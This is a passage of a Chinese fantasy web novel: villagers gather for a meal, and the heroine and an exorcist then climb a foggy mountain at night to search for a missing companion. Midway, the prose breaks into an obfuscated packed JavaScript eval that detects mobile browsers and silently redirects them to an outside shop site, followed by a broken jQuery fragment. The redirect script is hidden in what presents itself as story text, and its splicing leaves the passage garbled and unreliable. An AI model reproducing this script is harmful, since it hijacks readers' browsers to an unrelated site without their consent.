牛饮春提着一个篮子在门口。
林眠一打开门,他便将篮子往前提了提,笑着说:“在干嘛呢?最近毛豆大丰收,我给你拿了一些。”
“谢谢。”林眠接过篮子,掀开布看了看,这篮子毛豆都是煮熟了的。
牛饮春又把放在地上一个蛇皮袋提了起来,往里面走,说:“我还拿了一些别的蔬菜瓜果,你这么久没回来,菜地也都荒废了。”
林眠看着那一大袋子的蔬菜,想到自己家里的瞿木一行人,便欣然接受。
“谢谢你,阿牛哥,你来的太及时了。”林眠实话实说,因为今晚家里除了米,真的没别的东西了。
今天又忙着给书籍分类,导致她忘记去镇上买点菜了。
“不用。”牛饮春笑呵呵的、轻车熟路的将东西提到厨房的一处角落里。
瞿木悄无声息的站在一旁,看着他们两个。
林眠见有菜了,又到了晚上,便连忙准备去生火蒸大米饭。
“我……”牛饮春刚刚开口,就见瞿木冲了过来,一下子挤到林眠面前。
“我来帮忙。”瞿木直接打断了牛饮春的话,拿起一旁的不锈钢铁盆,也轻车熟路的去舀米、淘米。
牛饮春见状,就只好去拿蔬菜,问:“今晚吃瓜,可以吗?”
“好。”
瞿木正在淘米,手上一顿,回头看着牛饮春,他今晚要在这吃饭?虽然他提了不少东西过来,要留下来吃顿饭也是合情合理,但……
他就是感觉到十分的不爽!
三个人在厨房里各司其职,牛饮春多次想开口和林眠说话,但一抬头就对上瞿木的目光,犹豫再三,他还是没开口说,只能沉默的干活。
秦宁快速地看完了日记,实在是太震撼了。他在笔记里,看到了林眠的成长轨迹,更加看到了菌丝在林眠身体里活动。
而且,从日记中可以确定,菌丝与盖山村有脱不了的干系,林家人对菌丝也极其的了解。
他怀着激动的心情,从阁楼上下来的时候,林眠他们已经做好饭了,还多了一个陌生人。
“这是阿牛哥,”林眠介绍说,“这是秦宁,是名特别出名的除妖师。”
牛饮春听到“除妖师”三个字,脸上明显愣了一下,随后自我介绍说:“我叫牛饮春,喊我阿牛就好。”
“你好。”秦宁点头示好,见有外人来了,便也没开口多说些其他的。
瞿木看着他们几个,怎么秦宁还有前缀形容词啊?早上林眠介绍自己的时候,就只说了瞿木两个字,都没给自己加个前缀词。
林眠见他们都认识了,便将碗筷摆好,同时看了看外面的天色,说:“柳大师还没回来,真的不会出事吗?”
“都这么晚了,还没回来,有这么生气吗?”瞿木也觉得不对劲,他戳了戳秦宁,问他:“你们到底吵了些什么?”
“人不见了?去哪了?我对村子熟,可以帮忙找找。”牛饮春听到有人不见了,很是热心的表示要去帮忙。
秦宁虽然不是很担心柳寂白会出事,但这么晚还没回来,她会去哪里?
“稍等一下。”秦宁说,又有些顾忌地看了眼牛饮春。
牛饮春虽然是村子里长大的,但他也不是傻愣子,很明显看出秦宁有些顾忌自己,便说:“我去下厨房拿东西。”
他说完就走了。
秦宁这才抬手画符,嘴里念决。
一张红色的符出现在空中,朝一个方向飘过去。
“林小姐,这个方向是什么地方?”秦宁问。
林眠看着符咒飘向的方向,有些惊讶地说:“那边没有人家居住,是盖山的方向。”
盖山村基本上四面环山,但从林眠家的方向看去,刚好符咒指的方向是进山的方向,且无人居住。
“她进山做什么?”瞿木一听,就感觉事情不妙,“这晚上气温低,她这大晚上在山上,极限运动啊?”
“那个人进山了?”牛饮春从厨房出来,就听到他们说的话,语调都提高了一些。
林眠解释说:“晚上盖山会起大雾,在山里很难辨别方向。”
“我们本地人都不敢在晚上进山,下午五点前一定要下山。”牛饮春说。
瞿木看着秦宁,问:“这怎么办啊?”
“进山找人。”秦宁毫不犹豫地说。
“山里面都是雾,根本看不清方向,你们进去了也会找不到路的。”牛饮春劝阻说,“如果她语气好,找到山洞,过一晚应该没事。”
“等明天天亮了,雾散开了,我带你们进山。”
秦宁并不认可,反问他:“如果没找到山洞,是不是就必死无疑?”
“额。”牛饮春语塞,“都说不好。”
瞿木看着他们几个,这个大雾确实不适合进山,可柳寂白在山上出什么事,那他们肯定要自责一辈子。
林眠举手说:“我带秦宁进山吧。”
“我对盖山很熟悉,晚上的时候也进去过。”
瞿木一听,这不行,那他呢?
“不行,这山里太危险了。”牛饮春第一个说出口不同意,他上前对林眠说:“现在已经是秋季了,山上温度太低了。”
瞿木看着他们两个,尤其是牛饮春那副把担忧明晃晃写在脸上的模样,心里就有些异样,可他私心里,也希望林眠不要去涉险。
“我没事,阿牛哥。”林眠说着,咬着下唇,她不知道怎么跟阿牛哥解释。以前奶奶在的时候,不允许她在人的面前展示菌丝,因此村子里的人也只把她当成普通人。
可林眠心里清楚,她和普通人不一样。
“阿牛,你放心,我和林眠会没事的。”秦宁也认可林眠的做法,由他和林眠进去是最合适的。
牛饮春还想说什么,在林眠坚定的目光之下,也只好闭上了嘴。
瞿木指着牛饮春,说:“他不能进去我能理解,我为什么不能一起?”
这些日子里,都是有难同当,有福同享,怎么这次就把他丢下了?
“你帮我看家嘛。”林眠说道。
“看什么家?”瞿木扭头看向四周,这简直就是家徒四壁,家电都没,小偷也不会来这偷啊?
林眠说:“厨房里的米,还有阿牛哥提来的瓜果蔬菜。”
瞿木:那还不如不看。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737878|141761||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
这件事就这么决定了。
出发之前,四个人还是聚在一起,先把饭给吃了,毕竟爬山还是体力活,特别是这种未开发的山。
外面雾蒙蒙一片,远处有个小池塘,此刻蛙鸣一起一伏,如同黑夜中的交响乐队。
林眠和秦宁出发了,牛饮春心里怀着不安,和瞿木说了一声就离开了。只留下瞿木一个人在家里。
瞿木自然不会挽留牛饮春,甚至巴不得牛饮春快点离开。但这屋子里突然只剩下自己,黄色的灯光一闪一闪的,有些瘆人。
另一边,林眠带着秦宁进山。
林眠拿着手电筒,走在前边,这里有一条极为小的路,周围树影重重,杂草到膝盖处,走一下就发出“唰唰”声。
不知道为什么,今晚整个天空都是乌黑的,月亮早就被云层遮挡住,星星也无法渗透一点光芒。
进山的时候还好,基本上除了黑一些,也没出现别的问题。但秦宁发现,越往山里走,雾气就越来越重了。
也不知道走了多久,他发现身上已经湿了一大半。这里十分的潮湿,伸出手一摸,都能摸到一手的水,旁边的树木和杂草上,也都是水珠。
这么湿,不太符合科学。秦宁边走边想,他画了符咒在前面指明方向,而林眠则在前面带路。
不得不说,她走的路很安全,一路上连只虫子都没看到。但林眠安静的有些奇怪,自从进山后,她一句话都没说,只是埋着头往前走。
“林小姐,需要休息会吗?”秦宁虽然体力还行,但大晚上这么爬山,他一个大男人也难免有些气喘吁吁,他也担忧林眠撑不撑得住。
林眠没有回头,脚步也没有停下来,接着往前走。
秦宁也只好跟上。他和林眠大约只隔了二十厘米,再远一些,就会被大雾给挡住视线,看不见人了。
不知道为什么,秦宁感觉在这样的环境下,人体应该感觉到难受,倒是林眠越爬越有精神了。
逐渐的,他快跟不上了。
在之后,秦宁看不到林眠的身影了。他浑身湿透了,脚下也越来越重,冷的他打了个寒颤,但看不到林眠让他清醒了一些,朝着周围喊:
“林眠!林眠!”
没有得到回应。
秦宁喘着气,雾似乎更重了,他只能看到自己眼前的五指。但现在这个情况,他只能咬着牙画符咒,顺着符咒的方向前进。
大概走了十几分钟,他看到前方有一丝亮光出现,随着他越往前走,亮光就越多,就像是编织的银线一样,在这团雾气中熠熠生辉。
秦宁停了下来,看着若隐若现的银丝,他记得林眠身上的菌丝也能发出淡淡的光芒,和面前的这个东西相似极了。
应该是林眠,符咒显示的位置也在前面。
秦宁意识到林眠不对劲,现在也只能硬着头皮走上去,走到菌丝处的时候,他感觉眼前的视野瞬间开阔了一些。
周围的雾气似乎散开了一些。
他看着站在前面的林眠,她的身上散发着无数的菌丝,菌丝在空气中飘舞着,变幻着各种各样的形状。
这是属于菌丝的狂欢。